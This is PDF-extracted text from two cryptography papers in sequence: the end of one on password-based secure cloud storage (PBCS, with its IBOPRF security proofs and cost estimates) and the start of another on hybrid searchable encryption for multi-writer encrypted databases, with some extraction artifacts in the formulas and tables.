throughput with 1 vCPU, static page is 666.09 req/s and IBO-
PRF is 464.64 req/s. In IBOPRF, key server computes one
hash-to-curve operation and one scalar multiplication of ECC
point to deal with each request, which makes its throughput a
bit lower than fetching static pages. The throughput of both
increase linearly with the number of vCPU, shown in Fig. 10.

Figure 10: Key server throughput

Cost savings. Here we use Amazon S3 and EC2 as example
to give some estimation of cost savings by insisting on de-
ploying our system on cloud storage. Imaging an App with
one million users (popular Apps have way more), it is aug-
mented with secure storage using our PBCS: We first assume
each user consumes about 1GB/month space (which could
be much larger if the App involves videos). Considering the
default file open soft limit of 1024 connections for each vir-
tual machine, at least 1000 instances are required to keep one
million connections open.

Besides the same cost of data transfer, using EC2 for same
use, one needs to pay for extra computation cost [4] to keep
VMs running, and 5 times cost of the storage [3]. Particularly,
if we choose EC2 instance (“d2.4xlarge”) with storage opti-
mization to provide relatively robust service, it costs $2.76
per hour (while S3 posts only a negligible request cost). Then
the App provider mentioned above will need to pay around
2.76 ∗ 24 ∗ 30 ∗ 1000 + 0.08 ∗ 1,000,000, which is already
about two million dollars more if deploying the same secure
storage on EC2 for just one month! Supporting more users,
each user uses more data storage on average, or for a longer
period would incur even larger costs proportionally.

7 Conclusion

We model, design, analyze, implement, and experiment with
a novel system, which we name Portable Blind Cloud Storage

Table 2: Cost breakdown for the deposit (time/s) and retrieve
(time/s), where the size unit is MB. DPT/DCT denote deposit-
ing plaintext/ciphertext, RPT/RCT denote retrieving plain-
text/ciphertext, Opt denotes the cost of optimized deposit time
cost, Ovd/OOvd denote the overhead of the basic/optimized
implementation.

Size DPT Enc DCT Opt Ovd OOvd
10 0.79 0.07 0.77 0.79 0.06 0
20 0.98 0.16 0.88 0.90 0.05 -0.08
50 1.25 0.39 1.11 1.42 0.25 0.17
100 1.91 0.78 1.56 2.12 0.43 0.21
150 2.82 1.18 2.08 2.77 0.44 -0.05
200 3.39 1.57 2.73 3.60 0.91 0.21
250 3.98 1.97 3.34 4.27 1.33 0.29
300 4.61 2.50 3.64 4.72 1.52 0.11
Size RPT Dec RCT Opt Ovd OOvd
10 0.67 0.07 0.65 0.64 0.05 -0.03
20 0.88 0.15 0.74 0.82 0.01 -0.06
50 1.24 0.39 0.85 1.18 0 -0.06
100 1.82 0.78 1.02 1.77 -0.02 -0.05
150 2.37 1.17 1.18 2.32 -0.02 -0.05
200 3.09 1.56 1.68 2.87 0.15 -0.22
250 4.05 2.07 2.03 3.20 0.05 -0.85
300 4.77 2.67 2.25 3.74 0.15 -1.03

(PBCS). It aims to for a secure and usable cloud storage
system that satisfies multiple goals simultaneously.

Our entire design boils down to the preferred design prin-
ciple of “Constructivism” (build on parts) over “Gestalt”
(design it all) in deploying a large scale secure system.
It is recommended that the modern software development
[13, 19, 39, 43, 50] should start simple and only add compo-
nents once really necessary, following the philosophical prin-
ciple of Occam’s razor, which essentially states that “simpler
solutions are more likely to be correct than complex ones”.
In retrospect, we wish that designed system like our PBCS
system that has been smoothly embedded in the existing archi-
tecture, fully exploits already existing standardized and exist-
ing components and tools, (this is in contrast with theoretical
primitives holistically designed from scratch) such as login
mechanism, TLS, and plain cloud storage. As previously
discussed, our approach enables sound system development
and a security proof for the entire system, relying on avail-
able optimized implementations of secure components and
inheriting tested robustness and high efficiency. It makes the
development practical exploiting existing APIs with high com-
patibility, reduces duplication, and simplifies the engineering
work and maintenance of overall systems. This is especially
necessary for upgrading and updating a living popular App
supporting an enormous amount of users.
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A Security and Analysis of IBOPRF

Here we provide the formal definition of IBOPRF as well as
the corresponding security analysis.

A.1 Security definition

Pseudorandomness: Intuitively, the pseudorandomness cap-
tures the security of IBOPRF against other malicious clients.
It guarantees that other clients who did not corrupt the server
can not distinguish y = Fk(id∗,x∗) with a random string r for
a chosen identity id∗ and a secret input x, even though he
can arbitrarily query the server. More precisely, we have the
following definition.

Definition 3 let D be the distribution of input x and B be the
maximum number of the adversary to query the server with
identity id∗. If the minimum entropy of the distribution is d,
we call an IBOPRF with (ε,d,B)-pseudorandomness if the
probability of a probabilistic polynomial time adversary to
win the game in the left side of Fig. 11 is ε.

Obliviousness: Intuitively, the obliviousness captures the
security of IBOPRF against the malicious server. It guarantees
that a malicious server can not predict y for a fixed id and an
unknown input x, even he can interact with the honest client
holding id and x multiple times. More precisely, we have the
following definition.

Definition 4 Let D be the distribution of input x, where d
is the min-entropy of the input distribution D. We call an
IBOPRF with (ε,d,k)-obliviousness if the probability of the
successful guess in the game in the right side of Fig. 11 is
less than ε when the adversary could make k different guesses
for y.

A.2 Analysis
In this section, we will show the IBOPRF construction in
Sec.3 satisfies the uniqueness, pseudorandomness and oblivi-
ousness.

Uniqueness. The uniqueness is obvious, since the output of
the function is y = H3

(
x,H1(x)H2(msk,id)

)
.

Pseudorandomness. The pseudorandomness comes from
the (N,Q) one-more Diffie-Hellman assumption [27, 28],
which states that for any polynomial time adversary A ,
Prk ←$Zm,gi ←$G[A(·)k,DDH(·)(g,gk,g1, . . . ,gn) = S] is negligi-
ble, where S = {(g js ,g

k
js)|S = 1, . . . ,Q+1}, Q is the number

of A’s queries to the (·)k oracle, and js ∈ [N] for s ∈ [Q+1].
In other words, suppose A is allowed to query with a “kth
power” oracle with Q times and a DDH oracle with polyno-
mial queries. The assumption claims that although the A is
allowed to compute the kth power of any Q of the N elements
via quering (·)k oracle, A computes the kth power of any
Q+1 of the N elements (i.e. computes the kth power of “one
more” element) is negligible.

Note that H1, H2 and H3 could be modeled as random ora-
cles. If the adversary has not been queried (msk, id∗) on the
random oracle H2, kid∗ is completely random to the adversary.
Moreover, if the adversary has not queried (x∗,H1(x∗)kid∗ ) to
the random oracle H3, the value y will be truly random to
the adversary. So we could conclude that a successful ad-
versary must have queried x∗ to H1 and be able to compute
H1(x∗)kid∗ . Assume that the adversary has queried H1 with q
times. Since the adversary is only allowed to query the oracle
S() with id∗ with B times, according to the (q,B) one-more
Diffie-Hellman assumption the adversary can at most get B
tuples with the form (x,H1(x)kid ). That means the adversary
must get the correct x∗ within B guesses. So the probability
is O(B/d).

Obliviousness. The obliviousness is easy to get when we
model H1 and H3 as the random oracle. To get the correct y,
the adversary must guess the correct input x∗. The probability
to get the correct x∗ within k guesses is less than O(k/d).
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Pseudorandom IBOPRFA

1 : b←${0,1}
2 : (pp,msk)←$Setup(1λ)

3 : id∗ ←${0,1}λ

4 : x∗ ←$ D
5 : (ch,st)←$ CEval1(pp, id,x)

6 : rp←$SEval(pp, id,ch,msk)

7 : y0 ←$CEval2(pp, id,rp,st)

8 : y1 ←${0,1}λ

9 : b′ ←$ AS()(id∗,yb)

10 : return b = b′

Oracle S(id,ch)

1 : if id ̸= id∗

2 : rp←$SEval(pp, id,ch,msk)

3 : return rp

4 : else
5 : if i < B

6 : rp←$SEval(pp, id∗,ch,msk)

7 : i = i+1

8 : return rp

9 : else return ⊥

Oracle C(·)
1 : (ch,st)←$CEval1(pp, id∗,x∗)

2 : return ch

Oblivious IBOPRFA

1 : b←${0,1}
2 : (pp,msk)←$Setup(1λ)

3 : id∗ ←${0,1}λ

4 : x∗ ←$ D
5 : (ch,st)←$CEval1(pp, id,x∗)

6 : rp←$ A
7 : y0 ←$CEval2(pp, id,rp,st)

8 : y1, . . . ,yk ←$ AC(msk)

9 : if for i = 1, . . . ,k

10 : yi = y0

11 : return 1

12 : else return 0

Figure 11: The pseudorandomness and obliviousness of the IBOPRF. D is the distribution of input x and B is the maximum
number of the adversary to query the server with identity id∗.

B Further Extensions

Due to our principle of minimal addition to an existing infras-
tructure and simplicity, our system could be easily extended to
support further functionalities and more complicated settings.

Defending denial of service attacks. DOS attacks are a fun-
damental threat to Apps, not only to the PBCS system. In
our protocol, the adversary can send an arbitrary number of
Give requests to the key server. Since the key server does
not authenticate the client in this stage, he will need to store
everything it receives, and may give out his storage resources.
A simple countermeasure is: one can make the key manage-
ment server and the data server share one identity list, so only
the client with the id on the list can “Give” the key.

Proactive security guarantees that an attacker has less time
to compromise shares and as long as the attacker visits both
server simultaneously, the system remains secure. PBCS can
choose new randomness s′id and r′id stored under the cloud
server and compute t ′ = KDF1(s′id ,PP), k′1 = KDF2(r′id ,PP),
k′2 = KDF3(r′id ,PP), ct ′ = Enc(k′1,mk), τ′ = H4(k′2,ct ′) and
depositing (t ′,ct ′,τ′) to the key management server.

Different authentication factors. The security of PBCS system
relies on the security of the passphrase. The passphrase we
described in the protocol does not have to be restricted to
password. To achieve a higher level security, the user can
choose the biometrics or a long PIN generated by a secure
device or escrow system. Therefore, the passphrase can have
a very high entropy, and PBCS is more robust against online
dictionary attacks. Furthermore, if the user leverages different
authentication factors to login the key server and the cloud
server respectively, e.g., using the Face ID to login the key

server and the password to login the cloud server, the leakage
of one authentication factor will not be affected the security
of PBCS and the IBOPRF module could be saved.

C Implementation Optimization

In the implementation of PBCS, we leverage a simple opti-
mization idea: one can parallelly encrypt/decrypt data while
upload/download, hence he does not need to wait the finish of
the encryption/decryption before uploading/downloading the
data. However, it is involved to determine how many blocks
we should divide a file, since cloud storage needs to return
an “ack" confirmation for each request on each block. The
increased block number brings extra latency, which could be
large when network delay is long.

Taking all those into account, we first model the time cost T
as the function of file size s and total block number n, and then
get a quick estimation T (n,s) = k2

s
n +(2c2+c3)n+k1s+c1,

where k2 represents the encryption time (s/MB), c2 is the net-
work latency, and c3 is the time for S3 processing one deposit
instruction; while k1 denotes the time needed for transferring
and storing 1MB data to S3, c1 denotes the TLS connection
building time, which is constant for the same network. Up-
loading a plaintext will take T (1,s). Thus the overhead can
be easily derived as ∆T = T (1,s)−T (n,s), which we will
minimize by finding the optimal number of blocks n∗ as a
function of s. We estimate the concrete parameters in our
experiment environment, set n∗ accordingly. In our concrete
example n∗=

√ s
20 , which could be easily adapted in different

network conditions.
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Abstract

Multi-writer encrypted databases allow a reader to search

over data contributed by multiple writers securely. Public-key

searchable encryption (PKSE) appears to be the right primi-

tive. However, its search latency is not welcomed in practice

for requiring public-key operations linear in the database size.

In contrast, symmetric searchable encryption (SSE) realizes

sublinear search, but it is inherently not multi-writer.

This paper aims for the best of both SSE and PKSE, i.e.,

sublinear search and multiple writers, by formalizing hybrid

searchable encryption (HSE), with some seemingly conflict-

ing yet desirable features, requiring new insights to achieve.

HSE, built on top of dynamic SSE (DSSE), should satisfy

the de facto standard of forward privacy. Its multi-writer sup-

port makes the known approach (of secret state maintenance)

fail. HSE should also feature confined search, ideally with

search tokens of size independent of the writer subset size for

each search. For these, we devise a partial rebuild technique

and two building blocks (of independent interests) – identity-

coupling key-aggregate encryption and epoch-based forward-

private DSSE. Our evaluation over real-world datasets shows

that HSE surpasses prior arts by orders of magnitude.

1 Introduction

Searchable encryption enables a “reader” to search over

databases encrypted by “writers” and stored in a remote server.

To search means identifying all files containing a keyword w

by granting a search token for w to the server. Since the sem-

inal work by Song et al. [34], many schemes appear, which

broadly fall into two categories: symmetric searchable encryp-

tion (SSE) and public-key searchable encryption (PKSE) [7].

SSE mainly considers a client takes both the reader and

writer roles, while the server is honest-but-curious. The client

creates an encrypted database and later searches over it using a

∗Corresponding author: Supported by GRF (CUHK 14210217) of UGC.

We are grateful to Seny Kamara for encouragement during the infancy stage

when the hybrid idea is first conceived before the birth of DSSE, to Russell

W. F. Lai for his help during the early stages, and to the anonymous reviewers.

secret. With pre-built indices, the search complexity of typical

SSE schemes is sublinear in the database size or optimally

linear in the number of matches [19]. Minimizing client-server

interactions (to one round) is often a major goal (e.g. [33]).

Kamara et al. [26] proposed dynamic SSE (DSSE), where

a client could update the outsourced database by creating an

update token. The new operation introduces new attack sur-

faces: it is deemed insecure if any search token previously

delegated for a certain keyword can identify any newly in-

serted file, leading to injection attacks [41]. Forward privacy

thus becomes a de facto standard [10, 29, 35]. It requires

the past search not to compromise the privacy of future data.

Forward-private DSSE typically requires the client to refresh

the secret state (which could be outsourced at the cost of inter-

active update [20] or one more round trip before each search).

Otherwise, search tokens and update tokens remain the same

for all time, no matter whether a search has happened or not.

PKSE is for multiple writers, taking a reader public key

to generate searchable ciphertexts. A search token from the

reader allows the server to search over these ciphertexts. In

its motivating application [7], a reader lets the gateway search

over encrypted emails from writers, e.g., those labeled with

“urgent.” One can obtain PKSE from anonymous identity-

based encryption (IBE), viewing keywords as identities [2].

Techniques for sublinear search time in DSSE seem inap-

plicable to PKSE. The lack of shared secrets between writers

forbids them from jointly constructing a search index, which

is essential for sublinear search. Thus, the search time of

most PKSE schemes is undesirably linear in the database

size. Unfortunately, there is hardly any effort in improving

the searching time needed for real-world applications in these

two decades [34], probably due to the inherent complexity.

With very different features and focuses of SSE and PKSE, a

challenging and practically relevant question is thus raised:

Can we achieve the best of both worlds – sublinear search

in symmetric searchable encryption and multi-writer support

in public-key searchable encryption – while featuring forward

privacy and non-interactive searches and updates?
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1.1 Multi-Writer Encrypted Database via HSE

Our affirmative answer is a new notion we call hybrid search-

able encryption (HSE). While server-side efficiency is our

motivating concern, there can be different deployment expec-

tations. We consider several motivating canonical use-cases of

multi-writer applications to illustrate the desideratum of HSE:

sensor networks [31], medical databases [18], and contributive

applications (e.g., email [7] and machine learning [28]).

No Secret-Key Distribution. Sharing a symmetric key with

each writer is a bit (managerially/monetarily) costly, espe-

cially for weak devices. Requiring writing tokens simply does

not fit with emails and contributive applications, discouraging

“unmet writers” from contributing. HSE writers should only

use the public key of the reader to create HSE ciphertexts.

No Synchronous Communication. Communication rounds,

an important criterion of searchable encryption [19], should

be kept minimal. Connectivity is relatively scarce in sensor

networks and mobile IoT networks, and round-trip latency can

be large. A usable scheme would not rely on prompt responses

of the reader to each writer before they can contribute data.

Optimal Asymmetric and Symmetric Efficiency. HSE writ-

ers can independently (public-key) encrypt their updates for

the exact or different keywords. Thus, we must use a number

of public-key operations to differentiate them. Realistically, it

should be linear in the number of active keywords added by

the writers that the reader will search over, which is typically

less than the number of updates. Meanwhile, HSE still keeps

the number of symmetric operations sublinear as optimal SSE.

Compact Token for Confined Search. HSE can restrict the

scope of each search to a different writer subset. This prevents

unnecessary leakage and accelerates the search. To save com-

putation and bandwidth non-trivially, the search token size

should be independent of the number of interested writers.

Forward Privacy. The impact of not having forward pri-

vacy is amplified in HSE – the search authorized over an old

database contributed by some writers should not automatically

compromise the data privacy of the future data submitted by

other honest writers. The notion is well-studied in DSSE as a

property centered around a single client, who can, after every

search, immediately refresh a secret (local) state. Nevertheless,

in HSE, writers do not know what the reader has done unless

they synchronize with the reader or the server before every

update. Trivial adoption of known techniques means sharing

the secret with all writers, nullifying forward privacy against

writers. It is now apparent that the requirements of HSE are

inter-related, e.g., non-interactiveness renders traditional for-

ward privacy tricks no longer applicable. Formulating and

achieving it in non-interactive HSE thus appear to be solving

the unsolvable and need new insights.

A Warm-Up Construction. We first propose a conceptu-

ally simple generic HSE construction G-HSE from DSSE and

anonymous IBE as a baseline. The reader initializes n in-

stances of anonymous IBE for n writers, while each writer in-

dependently builds a DSSE instance. To avoid name-clashing

with the identity of IBE, we associate each writer to a class.

To update, besides the DSSE update, the writer IBE-

encrypts the DSSE search token of the associated keyword w,

treating w as the identity, if the token has not been encrypted

before. The server stores a set of encrypted DSSE search to-

kens. To search, the reader generates decryption keys for the

keyword to be searched under IBE instances of the target sub-

set of classes. The server decrypts entries in the token set for

DSSE search tokens and searches over their DSSE instances.

G-HSE is non-interactive and enjoys sublinear search time

of DSSE with an arguably optimal number of public-key op-

erations for searching the keyword set of each target writer.

1.2 Overview of ICKAE, E-DSSE, and FP-HSE

G-HSE fails to provide 1) forward privacy as the search tokens

never change; and 2) compact token for confined search as

the number of search tokens is linear in the writer-subset size.

We thus design FP-HSE, a forward-private HSE construction

with constant-size search tokens. It is instantiated with two

building blocks, each resolving one kind of shortcomings.

ICKAE. The first one is identity-coupling key-aggregate en-

cryption (ICKAE). As key-aggregate encryption [18], the dis-

tinctive advantage of ICKAE is its O(1)-size decryption key

aggregating the decryption power for any polynomial number

of (writer) classes. In the context of FP-HSE, an O(1)-size

decryption key constrained to any subset of writers (totaling

(2n
−1) possibilities for n writers) can be derived.

The ciphertext and the decryption key of ICKAE are cou-

pled with an identity (ID), such that the decryption key for a

writer subset and a specific ID can only decrypt the ciphertext

created for any writer in the subset and the same ID. The ID

associated with the ciphertext is hidden from anyone who

cannot decrypt. ICKAE thus enables O(1)-size tokens for

FP-HSE search. Our FP-HSE uses both the keyword and the

“epoch” as an ID, so a decryption key cannot decrypt cipher-

texts for subsequent epochs. ICKAE is also of independent

interest for its more fine-grained access control than its basis.

E-DSSE. Our second building block is E-DSSE, which adapts

the epoch-based forward privacy of public-key encryption

(PKE) [12] to epoch-based forward privacy in DSSE. It relies

on a loosely synchronized clock indicating the current epoch.

E-DSSE enables the data owner to delegate the temporal

search ability to other readers or the server via a constant-size

token, which can retrieve any related tuples updated at the

epoch associated with the token and any prior epochs. The

search token automatically fails to retrieve updates at any

later epochs, without the need for refreshment per search after

new updates in forward-private DSSE [10, 29]. This property

helps to realize forward privacy in HSE without synchronous

communication and comes in handy for multi-reader DSSE.
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Scheme Search Token Forward Confined

Complexity Size Privacy Search

PKSE [2] O(|DB|†) O(1) ✗ ✗

FP-PKSE [40] O(|DB|†) O(1) ✓ ✗

SPCHS [39] O(|Rw|
†
) O(1) ✗ ✗

G-HSE O(|W |† + |Rw|) O(|S|) ✗ ✓

FP-HSE O(|W |† + |Rw|) O(1) ✓ ✓

S: a subset of writers; DB: the whole database; †: public-key operation;

W : the set of active keywords written by S; Rw: updates of w from S.

Table 1: Searchable Encryption for Multiple Writers

The epoch length in E-DSSE can be set autonomously. The

system thus provides a tunable tradeoff between flexibility and

forward privacy, which is first-of-its-kind in the SSE literature

to our knowledge. A shorter epoch trades flexibility for higher

forward privacy as issued tokens become invalid sooner. This

also matches epoch-based secure messaging systems [22].

Partial Rebuild. Merely instantiating HSE by ICKAE and

E-DSSE is still lacking. Note that the search token changes

when updating the same keyword at different epochs in

E-DSSE. The number of ciphertexts for search tokens thus

needs to be ever-growing to ensure the reader could always

get the latest results. This will severely degrade the search

performance of FP-HSE. Our remedy is to partially rebuild

the token parts instead of the whole database by adapting an

idea originally proposed for breach resistance [3].

Note that writers still need not be synchronized. They could

go offline for a few epochs without harming security.

FP-HSE. FP-HSE precludes the shortcomings of G-HSE: 1)

FP-HSE inherits epoch-based forward privacy of E-DSSE as

the token changes per epoch; and 2) FP-HSE realizes compact

token for confined search due to O(1)-size ICKAE decryption

keys. Table 1 summarizes HSE’s performance and properties.

1.3 Related Work

For easy indexing, early attempts study public-key determin-

istic encryption [5] with unavoidable weakened security. A

notable alternative of “searchable public-key ciphertexts with

hidden structures” (SPCHS) was proposed by Xu et al. [39].

It can be treated as deriving the secret key for PKSE via non-

interactive key exchange. Consequently, each traversal during

a search takes pairing operations. More importantly, SPCHS

supports neither forward privacy nor confined search.

Many “multi-user” searchable encryption schemes have

appeared. Their user often refers to a reader. They share SSE

search tokens to multiple readers, e.g., via broadcast encryp-

tion (BE) [19], proxy re-encryption [24], or relying on trusted

hardware [30]. Many key-aggregate searchable encryption

schemes have also appeared. They still take linear time, and

some are broken. We omit them due to the page limit.

Our ICKAE scheme got inspiration from hierarchical ID-

coupling broadcast encryption [4] and KAE [18]. The former

notion is extensible to forward-secure BE and searchable BE.

In principle, it could lead to forward-secure searchable BE,

which predates FP-PKSE [40]. Designing an ID-coupling

scheme is non-trivial, e.g., trivial extension from an anony-

mous IBE scheme may lose its anonymity [4].

1.4 Our Contribution

New Paradigm of Searchable Encryption (Section 3). We

propose HSE, a new notion that can simultaneously achieve

sublinear search complexity of SSE and multi-writer support

in PKSE. It is non-trivial to define its security when there is

only one client in DSSE, and writer corruption (meaningful

in HSE) is not a concern in PKSE since writers are stateless.

Notably, we extend the history-based leakage of DSSE [19]

to precisely capture the leakage in the context of HSE, while

the security of PKSE often does not involve leakage at all.

New Primitive: ID-Coupling Key-Aggregate Encryption

(Section 4). We propose the notion of ICKAE with a scheme

featuring O(1)-size decryption keys that couples with an ID.

Generating an aggregate key for n classes is more efficient

than generating n decryption keys for n IBE instances [8].

New Epoch-Based Forward Privacy (Sections 3.4 and 5).

We formally define epoch-based forward privacy of HSE and

DSSE for a general notion of epoch (e.g., key rotation leads

to a new epoch). We propose an epoch-based forward-private

DSSE construction E-DSSE with optimal complexities.

Forward-Private HSE with Compact Tokens (Section 6).

Our FP-HSE instantiated from new building blocks (ICKAE

and E-DSSE) features non-interactive forward privacy and

O(1)-size tokens for confined searches. It is modular and

benefits from better building blocks in the future. Its token-

based design is compatible with many existing SSE works. In

particular, it can be easily extended with backward privacy.

Experimental Evaluation (Section 7). We implement both

G-HSE and FP-HSE, compare their performance with prior

arts over real-world datasets for our use-cases, and compre-

hensively analyze their efficiency under various parameters.

2 Dynamic Symmetric Searchable Encryption

|| is concatenation. x←$ X samples x uniformly from set X .

negl(λ) denotes a negligible function in λ. [n] = {1, . . . ,n}.

Definition 1 (DSSE [26]) A DSSE scheme consists of five

probabilistic polynomial-time (PPT) algorithms:

(k,st,EDB)← Setup(1λ
) takes as input a security parame-

ter λ. It outputs a secret key k and a state st to be stored

locally and an initialized encrypted database EDB.

(s,st′)← SrchTkn(st,k,w) takes a state st, a secret key k,

and a keyword w. It outputs a search token s and a state st′.

(R,EDB′)← Srch(s,EDB) takes as input a search token s

and an encrypted database EDB. It outputs a possibly up-

dated encrypted database EDB′ and the search result R.
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(u,st′)← UpdtTkn(st,k,op,w, f ) takes as input a state st, a

secret key k, an operation op ∈ {add,del}, and a keyword-file

pair (w, f ). It outputs an update token u and a new state st′.

EDB′← Updt(u,EDB) takes as input an update token u and

EDB. It outputs an updated encrypted database EDB′.

DSSE security is captured in the real/ideal simulation

paradigm with a leakage function family L = {LStp
,LSrch

,

LUpdt
}. L contains the leakage of setup, search, and update,

with a sequence of historical operations as an implicit input.

Definition 2 (Adaptive Security of DSSE [26]) A DSSE

scheme is L-adaptively-secure, if there exists a PPT simula-

tor S such that |Pr[RealA(1
λ
) = 1]−Pr[IdealA ,S ,L(1

λ
) = 1]|

≤ negl(λ) for any PPT adversary A , where we define:

RealA(1
λ
): The challenger executes Setup(1λ

) and sends

(initially empty) EDB to A . A adaptively makes a poly-

nomial number of search queries with input w and update

queries with input (op,w, f ). The challenger returns the tran-

scripts generated by running SrchTkn on w or UpdtTkn on

(op,w, f ). Finally, A returns a bit b output by the experiment.

IdealA ,S ,L(1
λ
): S generates (initially empty) EDB using

LStp and sends it to A . A adaptively makes a polynomial num-

ber of search queries with input w and update queries with

input (op,w, f ). S returns the transcripts for search queries

(resp. update queries) using LSrch
(w) (resp. LUpdt

(op,w, f )).

Eventually, A returns a bit b that is output by the experiment.

Leakage Functions [26]. Let O be a sequence of DSSE op-

erations issued so far. With u being the timestamp when an op-

eration happens, O records (u,w) for a search on keyword w,

or (u,op,w, f ) for an update with (op,w, f ). Typically,

• The search pattern sp indicates the repetition of searches

on keywords. Formally, sp(w) = {u|(u,w) ∈O};

• The update history UpHist records all updates of key-

words, i.e., UpHist(w) = {(u,op, f )|(u,op,w, f ) ∈O}.

Intuitively, forward privacy means any revelation of secret

knowledge (search token for a keyword w here) cannot be

used to enable its associated function in the future (returning

a subsequently updated keyword-file pair (w, f )). Bost [10]

restricts the definition to consider only the update leakage

free from w while it is fine to leak everything about f . Its gen-

eralization [29] aims to break the linkage between w and f . In

particular, if update leakage has no information about f , prior

search tokens cannot return results with f either, allowing

relaxations that still capture the spirit of forward privacy.

Partial leakage of w while hiding f is an option. We limit

the update leakage of (op,w, f ) at u to (op,UpHist
<u(w)

?
=

/0), where UpHist
<u(w) := UpHist(w)\{(u,op, f )}, i.e., the

update history excluding the current update timestamped at u.

Definition 3 (Forward Privacy of DSSE [10, 29]) We say

an L-adaptively-secure DSSE scheme is forward private if its

update leakage LUpdt
(op,w, f ) can be written as L ′(op, f )

or L ′′(op,UpHist
<u(w)

?
= /0) for stateless functions L ′,L ′′.

3 Hybrid Searchable Encryption

3.1 Syntax and System Model

Hybrid searchable encryption (HSE) considers three parties:

• a reader with the master secret key of HSE;

• multiple writers, each independently establishing a

DSSE instance and an encrypted token set for the reader

by generating the secret key and state for him/herself;

• a server storing encrypted databases and token sets.

Our formulation predefines a set of classes and assigns each

writer to a different class1. We also use the class to identify a

specific writer. HSE lets the reader do keyword searches over

DSSE databases2, with a chosen subset of writer classes each

time. Each writer could update (and search) his/her DSSE

instance while the reader enjoys sublinear searches.

Definition 4 (Hybrid Searchable Encryption (HSE)) An

HSE scheme consists of the following PPT algorithms:

(pk,msk)← RSetup(1λ
,n): executed by the reader taking

the input of security parameter λ and the number of writer

classes n. It outputs a public/master secret key pair (pk,msk).

(ki,sti,EDBi,ETkni)←WSetup(1λ
, i): executed by a writer

inputting its class i∈ [n]. It outputs a secret key ki and a secret

state sti for the writer to store locally and (initially empty)

encrypted database EDBi and encrypted token set ETkni.

sti will be used in UpdtTkn() for creating update tokens.

We let EDB= {EDBi}i∈[n] and ETkn= {ETkni}i∈[n]. ETkn

collects DSSE search tokens for the reader/server, which will

also be updated by Updt(). ETkn can be viewed as part of

EDB. We separate it for our description convenience.

s← SrchTkn(msk,S,w): executed by the reader taking as

input a master secret key msk, a set S⊆ [n] of classes, and a

keyword w. It outputs a search token s.

(R ,EDB′,ETkn′)← Srch(s,S,EDB,ETkn): executed by

the server taking as input a search token s, a set S ⊆ [n]

of classes, an encrypted database EDB, and an encrypted

token set ETkn. It outputs the search result R , and (possibly)

updated encrypted database EDB′ and token set ETkn′.

(u,st′i)← UpdtTkn(pk,sti, i,ki,op,w, f ): executed by the

writer taking as input the public key pk of the reader, a

state sti, a class i ∈ [n], the secret key ki, an operation

op ∈ {add,del}, and a keyword-file pair (w, f ) to be updated.

It outputs an update token u and a new state st′i.

(EDB′,ETkn′)← Updt(u,EDB,ETkn): executed by the

server taking as input an update token u, an encrypted

database EDB, and an encrypted token set ETkn. It updates

the latter two inputs into EDB′ and ETkn′ and outputs them.

Correctness. For all parameters λ and n, all (pk,msk)←

RSetup(1λ
,n), all (ki,sti,EDBi,ETkni) ← WSetup(1λ

, i),

1Alternatively, the number of classes might be larger than that of writers.
2DSSE typically returns the identifiers of encrypted files matching the

keyword. In HSE, the writers could encrypt the files under the reader’s PKE.
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i ∈ [n], and all sequences of Srch() and Updt() over EDB

using tokens generated respectively from SrchTkn(msk,S,w)

and UpdtTkn(pk,sti, i,ki,op,w, f ), i ∈ [n], Srch returns the

correct results according to the inputs (i,op,w, f ) of UpdtTkn

when i ∈ S, except with negligible probability in λ.

Following features get HSE ready for real-world usage.

Search Efficiency. Search only involves the number of match-

ing files and necessary traversals, sublinear in database sizes.

Update Efficiency. Update time of inserting or deleting a sin-

gle keyword-file pair via UpdtTkn() and Updt() is constant.

Non-Interactiveness. No extra roundtrip between any parties

is needed, except one inevitable roundtrip for the reader to

authorize the server to search and return results.

Compact Tokens for Confined Search. The reader could

choose an arbitrary writer subset to be searched at will via

SrchTkn(), which produces O(1)-size tokens for all subsets.

3.2 Threat Model

Our model considers an adversary who could corrupt any

participants in HSE, except the honest reader. As a default

corrupted party in searchable encryption, the server is semi-

honest, who follows algorithm specifications to provide reli-

able storage (for encrypted databases) and services (for up-

dates and searches) yet tries to derive sensitive information.

Note that the adversary has no others to collude with in

DSSE or gains no advantage in colluding with the writers in

PKSE since they have no secret. For our multi-writer setting,

the adversary may corrupt some writers by getting their secret

keys and secret states and instigate them to act maliciously.

HSE protects remaining entities, i.e., the honest reader and

non-corrupted writers, by preventing the adversary from learn-

ing beyond what it is supposed to know (to be formulated as

leakage functions). Result authenticity is not in our scope.

3.3 General Security Definition

An HSE adversary can issue a sequence of oracle queries of

three kinds: 1) corruption query, which returns the secret key

and the secret state of a specific writer; 2) search query, which

returns the search token of a specified keyword under a chosen

writer subset; and 3) update query which returns the update

token of a specified update tuple from certain writers. The

adversary could issue queries depending on prior outcomes.

To define security, we extend the notion of history, a se-

quence of queries ever issued by the adversary, from SSE [19].

Definition 5 (History) A history of HSE is a sequence of

queries H = {Histu}u, where sequence number u denotes the

timestamp when the query happens and each Histu is in the

form of either (Corr, i), (Srch,w,S), or (Updt, i,op,w, f ).

Similar to SSE [19, 26], we introduce a leakage function

family LH = {L
Stp

H
,LSrch

H
,L

Updt

H
,LCorr

H
} to control exactly

the information of history H leaked during setup, search, up-

date, and corruption, respectively. When an oracle is queried

for the u-th operation, any function in LH is instantiated with

H being the history consisting of the first (u−1) operations

and with the u-th operation as a function input3. It pinpoints

the leakage incurred due to the last operation while taking all

historical operations into consideration. We omit H if there

is no ambiguity. Before any query (i.e., H = /0), L = LStp.

We assume there exist HSE histories that are non-singular.

It requires the existence of at least one other history with the

same leakage. The assumption is necessary for searchable

encryption [19], or all information of the history would leak.

Definition 6 (Non-Singular History [19]) A history H is

non-singular if there exists H ′ ̸= H where LH = LH ′ that

can be found in PPT given LH .

Definition 7 (Adaptive Security of HSE) For all PPT ad-

versary A and the game INDb
HSE,A ,L(1

λ
) in Figure 1, HSE

is L-adaptively-secure if the following quantity is negligible:
∣

∣

∣
Pr [IND0

HSE,A ,L(1
λ
) = 1]−Pr [IND1

HSE,A ,L(1
λ
) = 1]

∣

∣

∣
.

Corruption Leakage. We define Ic = {i|(Corr, i) ∈H } as

the set of corrupted writers. To capture the corruption leakage,

for any class i∈ [n], we introduce a function UpdtBy(i) based

on history H , which lists all updates by i in the history. For-

mally, UpdtBy(i) = {Histu|Histu = (Updt, i,op,w, f ) ∈H }.

3.4 Epoch-Based Forward Privacy

We propose epoch-based forward privacy of HSE, inspired

by forward-private PKE [12] and PKSE [40]. Commonly

in these notions, each encryptor/writer works independently.

Security definitions for PKSE do not feature parameterized

leakage, let alone forward-private PKE. In contrast, leakages

play an important role in HSE – The definition of forward pri-

vacy depends on the definition of update leakage. For security

